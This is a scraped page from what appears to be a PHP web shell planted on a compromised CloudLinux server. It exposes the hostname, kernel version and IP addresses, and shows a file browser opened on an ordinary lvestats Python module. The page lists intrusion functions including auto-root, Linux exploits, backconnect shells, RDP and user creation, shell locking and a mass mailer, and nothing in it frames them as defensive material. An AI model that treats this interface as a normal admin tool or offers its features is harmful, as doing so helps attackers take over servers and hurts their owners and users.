Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 18.222.110.5
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
lvestats /
lib /
commons /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
219
B
-rw-r--r--
argparse_utils.py
10.98
KB
-rw-r--r--
dateutil.py
5.9
KB
-rw-r--r--
decorators.py
931
B
-rw-r--r--
func.py
15.82
KB
-rw-r--r--
htpasswd.py
2.15
KB
-rw-r--r--
litespeed.py
6.56
KB
-rw-r--r--
logsetup.py
4.45
KB
-rw-r--r--
proctitle.py
2.81
KB
-rw-r--r--
profiler.py
651
B
-rw-r--r--
progress.py
1.09
KB
-rw-r--r--
sentry.py
6.35
KB
-rw-r--r--
server_status.py
1.33
KB
-rw-r--r--
sizeutil.py
2.7
KB
-rw-r--r--
users_manager.py
3.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : server_status.py
# coding=utf-8 # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT from __future__ import absolute_import import os import errno PID_FILE = '/var/run/lvestats.pid' RUNNING = 0 STOPPED = 1 DEAD = 2 status_description = { RUNNING: "Server is running", STOPPED: "Server is not running, Use 'service lvestats start' command to start it", DEAD: "lvestats server is dead but pid file exists. Use 'service lvestats restart' command to restart it" } def check_server_status(): """ Read pid from file. If file is not exists, then server is stopped Send kill signal 0 to check if process exists. Return status. From http://linux.die.net/man/2/kill : "If sig is 0, then no signal is sent, but error checking is still performed; this can be used to check for the existence of a process ID or process group ID." errno.ESRCH == "No such process" :return: """ try: with open(PID_FILE) as pid_file: pid = pid_file.readline().strip() except (IOError, OSError): return STOPPED else: try: os.kill(int(pid), 0) except OSError as e: if e.errno == errno.ESRCH: return DEAD return RUNNING
Close